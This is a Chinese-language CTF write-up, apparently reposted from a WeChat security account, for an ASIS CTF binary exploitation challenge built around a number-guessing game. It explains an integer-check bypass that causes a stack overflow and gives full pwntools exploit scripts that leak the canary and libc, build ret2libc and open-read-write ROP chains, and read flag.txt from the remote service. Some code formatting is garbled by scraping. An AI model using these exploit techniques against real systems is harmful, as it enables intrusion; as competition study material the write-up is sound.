题目很简单,就是一个随机数让你猜的模型(随机数不可预期,因为srand里面是main的地址,但地址pie随机化),然后程序和你都给出一个筹码,你猜对了增加他规定的筹码,你猜错了减少你规定的筹码。
__int64 __
fastcall
main
(__int64 a1,
char
**a2,
char
**a3)
{
unsigned
int
v4;
// [rsp+0h] [rbp-820h] BYREF
int
v5;
// [rsp+4h] [rbp-81Ch] BYREF
unsigned
int
v6;
// [rsp+8h] [rbp-818h]
int
v7;
// [rsp+Ch] [rbp-814h]
_DWORD s[
514
];
// [rsp+10h] [rbp-810h] BYREF
unsigned
__int64 nbytes_4;
// [rsp+818h] [rbp-8h]
nbytes_4 = __readfsqword(
0x28
u);
((
void
(__fastcall *)())((
char
*)&init +
1
))();
srand((
unsigned
int
)main);
puts
(
"This game is so easy!"
);
puts
(
"Just guess the correct number to win!"
);
puts
(
"If you lose 3 times you'll be kicked out"
);
qmemcpy(s, &unk_21E0,
sizeof
(s));
memset
(s,
0
,
0x800
uLL);
do
{
while
(
1
)
{
printf
(
"nLives: %snYour money: %dn"
, (
const
char
*)&s[
512
], s[
513
]);
if
( s[
513
] <
0
)
{
puts
(
"You can't play anymore :("
);
goto
LABEL_14;
}
printf
(
"Enter a bet value: "
);
v4 =
-1
;
__isoc99_scanf(
"%d"
, &v4);
if
( (
int
)v4 >
0
)
break
;
puts
(
"Your bet amount should be positive!"
);
}
v6 = rand() %
100
+
1
;
printf
(
"Your bet: %d, my bet: %dn"
, v4, v6);
printf
(
"Enter your guess: "
);
v5 =
-1
;
__isoc99_scanf(
"%d"
, &v5);
getchar();
v7 = rand() %
1000
+
1
;
if
( v7 == v5 )
{
puts
(
"You won!"
);
s[
513
] += v6;
}
else
{
puts
(
"You lost :("
);
s[
513
] -= v4;
*((_BYTE *)&s[
511
] +
strlen
((
const
char
*)&s[
512
]) +
3
) =
0
;
}
if
( (
unsigned
int
)(s[
513
] +
1
) >
0x7FF
)
//这里有一个洞,如果是0xffffffff的话加个1正好是0,但read的时候会读入0xffffffff
{
puts
(
"Sorry we can't take your feedback this time"
);
}
else
{
printf
(
"Please give us your feedback for this round: "
);
read(
0
, s, s[
513
]);
puts
(
"Thanks for your feedback!"
);
}
}
while
( LOBYTE(s[
512
]) );
puts
(
"No more lives"
);
LABEL_14:
puts
(
"Bye!"
);
return
0L
L;
}
洞的话随便动调fuzz联合审一审就出来了,就是read(0,s,s[513])处,如果当时s[513]是0xffffffff时正好能绕过那个大于0x7ff的检查。
最开始s[513]的初值是1000,那我们就先给他1001的筹码,这样s[513]正好0xffffffff,实现了read 0xffffffff字节,但这里有个小伏笔先表过不谈。
io.recvuntil(b
"you'll be kicked out"
)
io.recvuntil(b
'bet value: '
)
io.sendline(str(1001).encode())
io.recvuntil(b
'your guess: '
)
io.sendline(b
'1'
)
发现这个里面就没啥正常gadget,我也没用magicgadget,所以想法就是把后面的__libc_start_main_ret和canary全部泄露出来。泄露的方法,就是利用循环最初的printf("nLives: %snYour money: %dn", (const char *)&s[512], s[513]); 这句话中%s来连带输出两次。
canary泄露:
payload=b
'a'
*
0x800
+p32(
0x2a2a2a2a
)+p32(
0x01010101
)
io.sendline(payload)
io.recvuntil(b
'Lives: ****'
+p32(
0x01010101
)+b
'n'
)
canary=u64(io.recv(
7
).rjust(
8
,b
'x00'
))
(
'canary:'
,
hex
(canary))
在这里,前面的p32(0x2a2a2a2a)代表命数(他初始就是0x2a2a2a),而用0x0101010101是为了保证每一个字节上都有值,同时必须是一个正数,所以尽量小啦(太大了肯定爆1<<31-变负数了,任何符合规则的数都可以)。
libc泄露:
io.recvuntil(b
'bet value: '
)
io.sendline(str(
0x01010102
).encode())
io.recvuntil(b
'your guess: '
)
io.sendline(b
'1'
)
#sleep(5)
io.recvuntil(b
'this round: '
)
payload=b
'a'
*
0x800
+p32(
0x2a2a2a2a
)+p32(
0x01010101
)+b
'a'
*
0x10
io.send(payload)
io.recvuntil(b
'a'
*
0x10
)
libc_base=u64(io.recv(
6
).ljust(
8
,b
'x00'
))-
0x29D90
(
'libc_base:'
,
hex
(libc_base))
leak部分就完成了,我们现在可以取出来所有要用的gadget和function:
pop_rdi_ret
=libc_base+
0
x2a3e5
system
=libc.sym[
'system'
]+libc_base
binsh
=next(libc.search(b
'/bin/shx00'
))+libc_base
ret
=libc_base+
0
x29F3B
一个本地完全能过的脚本:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io=remote('65.109.182.44',5000)
io=process('./asis1')
libc=ELF('./libc.so.6')
io.recvuntil(b
"you'll be kicked out"
)
io.recvuntil(b'bet value: ')
io.sendline(str(1001).encode())
io.recvuntil(b'your guess: ')
io.sendline(b'1')
io.recvuntil(b'this round: ')
payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)
io.sendline(payload)
io.recvuntil(b'Lives: ****'+p32(0x01010101)+b'n')
canary=u64(io.recv(7).rjust(8,b'x00'))
print('canary:',hex(canary))
io.recvuntil(b'bet value: ')
io.sendline(str(0x01010102).encode())
io.recvuntil(b'your guess: ')
io.sendline(b'1')
io.recvuntil(b'this round: ')
payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)+b'a'*0x10
io.send(payload)
io.recvuntil(b'a'*0x10)
libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x29D90
one=[0x50a47,0xebc81,0xebc85,0xebc88]
io.recvuntil(b'bet value: ')
io.sendline(str(0x01010102).encode())
io.recvuntil(b'your guess: ')
io.sendline(b'1')
pop_rdi_ret=libc_base+0x2a3e5
system=libc.sym['system']+libc_base
binsh=next(libc.search(b'/bin/shx00'))+libc_base
ret=libc_base+0x29F3B
io.recvuntil(b'this round: ')
payload=flat(b'a'*0x800,0,canary,0xdeadbeef,ret,pop_rdi_ret,binsh,system)
io.sendline(payload)
io.interactive()
其实已经发觉有点不对劲了。
本地可能需要尝试多次才能过,这个问题我经过动态调试发现是read(0,buf,0xffffffff)这里,都甚至已经执行到syscall层面且参数都没有问题,但依旧不能保证成功率。所以在我尝试异地的时候才发现:
喂,前面可是地狱啊。
以为这个题难点都结束了,但事实上出题人可能没有考虑过异地这一点。
异地的麻烦之处在于:
- 和本地一样read第三个参数是0xffffffff时,存在非常高的失败可能性。最无法接受的在于这个是无法避免的,因为我们只能用这一种方法造成栈溢出。这让我浪费了很长时间。
- 异地无法取得shell。这个问题可能出在我身上,我尝试了包括system("/bin/sh"),execve("/bin/sh",null,null),以及onegadget均未成功,而本地都可以成功。由此我使用了很多gadget:
pop_rax_ret
=libc_base+
0
x45eb0
pop_rdx_ret
=
0
x796a2+libc_base
pop_rsi_ret
=libc_base+
0
x2be51
syscall
=
0
x425F1+libc_base
甚至做了一个ropchain,但都以失败告终。
那该怎么做呢?可以尝试ORW。当然我在程序里面完全找不到一个真正的flag字符串,更别提flag.txt了。
由dockerfile可知flag名为flag.txt
FROM
ubuntu:22.04
RUN
apt-get -y update
RUN
apt-get -y upgrade
RUN
apt-get -y install socat
RUN
useradd -m pwn
WORKDIR
/home/pwn
COPY
./chall .
COPY
./ld-linux-x86-64.so.2 .
COPY
./libc.so.6 .
RUN
echo 'flag{placeholder_for_flag}' > ./flag.txt
RUN
chown -R root:root /home/pwn
RUN
chmod -R 555 /home/pwn
:
5000,reuseaddr,fork", "EXEC:./chall"]
所以我们要用任意地址写的gadget,也就是mov qword ptr [rdx], rax ; ret这一句,把flag.txt写到libc里面的bss段上,所以我们也需要libc里的bss地址。
bss
=
0
x21a8a0+libc_base
mov_rdxv_rax
=
0
x3a410+libc_base
然后写我们的orw rop链:
payload=flat(b'a'*0x800,0,canary,0xdeadbeef,pop_rax_ret,b'flag.txt'.ljust(8,b'x00'),pop_rdx_ret,bss+0x100,mov_rdxv_rax)
payload+=flat(pop_rdi_ret,bss+0x100,pop_rsi_ret,0,open)
payload+=flat(pop_rdi_ret,3,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,read)
payload+=flat(pop_rdi_ret,1,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,write)
然后直接把最后一个rop链换成新的这条即可。
本地尝试:
完全莫有问题。
但异地为什么还是没有输出???
kali下的异地效率太低,直接换成物理机。我突然想到,这种情况我遇到过。他只读入,但没有任何回显或者终止,那就是fd不对了。对于正常的题目,stderr 2之后下一个文件标识符必然是3,但这个题不一样。我没有任何方法同步异地和本地的信息,所以,我决定执行测试。
如果能找到mov reg,rax类似的gadget,那我们能直接得到这个文件标识符也就不用考虑这么多了。但对于本题我短时间内无法找到这种gadget。但还是之前的mov qword ptr [rdx], rax;这个gadget。我推测程序每一次启动时的fd是相同的,利用puts将他打印出来。
payload=flat(b'a'*0x800,0,canary,0xdeadbeef,pop_rax_ret,b'flag.txt'.ljust(8,b'x00'),pop_rdx_ret,bss+0x100,mov_rdxv_rax)
payload+=flat(pop_rdi_ret,bss+0x100,pop_rsi_ret,0,open)
payload+=flat(pop_rdx_ret,bss+0x300,mov_rdxv_rax)
payload+=flat(pop_rdi_ret,bss+0x300,puts)
发现fd为5。把fd修改后:
终于啊终于。
完整exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('65.109.182.44',5000)
libc=ELF('./libc.so.6')
io.recvuntil(b
"you'll be kicked out"
)
io.recvuntil(b'bet value: ')
io.sendline(str(1001).encode())
io.recvuntil(b'your guess: ')
io.sendline(b'1')
io.recvuntil(b'this round: ')
payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)
io.sendline(payload)
io.recvuntil(b'Lives: ****'+p32(0x01010101)+b'n')
canary=u64(io.recv(7).rjust(8,b'x00'))
print('canary:',hex(canary))
io.recvuntil(b'bet value: ')
io.sendline(str(0x01010102).encode())
io.recvuntil(b'your guess: ')
io.sendline(b'1')
io.recvuntil(b'this round: ')
payload=b'a'*0x800+p32(0x2a2a2a2a)+p32(0x01010101)+b'a'*0x10
io.send(payload)
io.recvuntil(b'a'*0x10)
libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x29D90
print('libc_base:',hex(libc_base))
one=[0x50a47,0xebc81,0xebc85,0xebc88]
io.recvuntil(b'bet value: ')
io.sendline(str(0x01010102).encode())
io.recvuntil(b'your guess: ')
io.sendline(b'1')
startmain=0x29D4C+libc_base
pop_rdi_ret=libc_base+0x2a3e5
system=libc.sym['system']+libc_base
binsh=next(libc.search(b'/bin/shx00'))+libc_base
ret=libc_base+0x29F3B
pop_rax_ret=libc_base+0x45eb0
pop_rdx_ret=0x796a2+libc_base
pop_rsi_ret=libc_base+0x2be51
syscall=0x425F1+libc_base
mov_rdxv_rax=0x3a410+libc_base
bss=0x21a8a0+libc_base
read=libc_base+libc.sym['read']
open=libc_base+libc.sym['open']
write=libc_base+libc.sym['write']
puts=libc_base+libc.sym['puts']
io.recvuntil(b'this round: ')
payload=flat(b'a'*0x800,0,canary,0xdeadbeef,pop_rax_ret,b'flag.txt'.ljust(8,b'x00'),pop_rdx_ret,bss+0x100,mov_rdxv_rax)
payload+=flat(pop_rdi_ret,bss+0x100,pop_rsi_ret,0,open)
payload+=flat(pop_rdi_ret,5,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,read)
payload+=flat(pop_rdi_ret,1,pop_rsi_ret,bss+0x200,pop_rdx_ret,0x50,write)
payload+=flat(pop_rdi_ret,0,libc_base+libc.sym['exit'])
io.sendline(payload)
io.interactive()
以上就是我的体验和感受,希望师傅们多多指正。
一起来群里玩啊~
原文始发于微信公众号(UKFC安全):ASISctf体验小记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论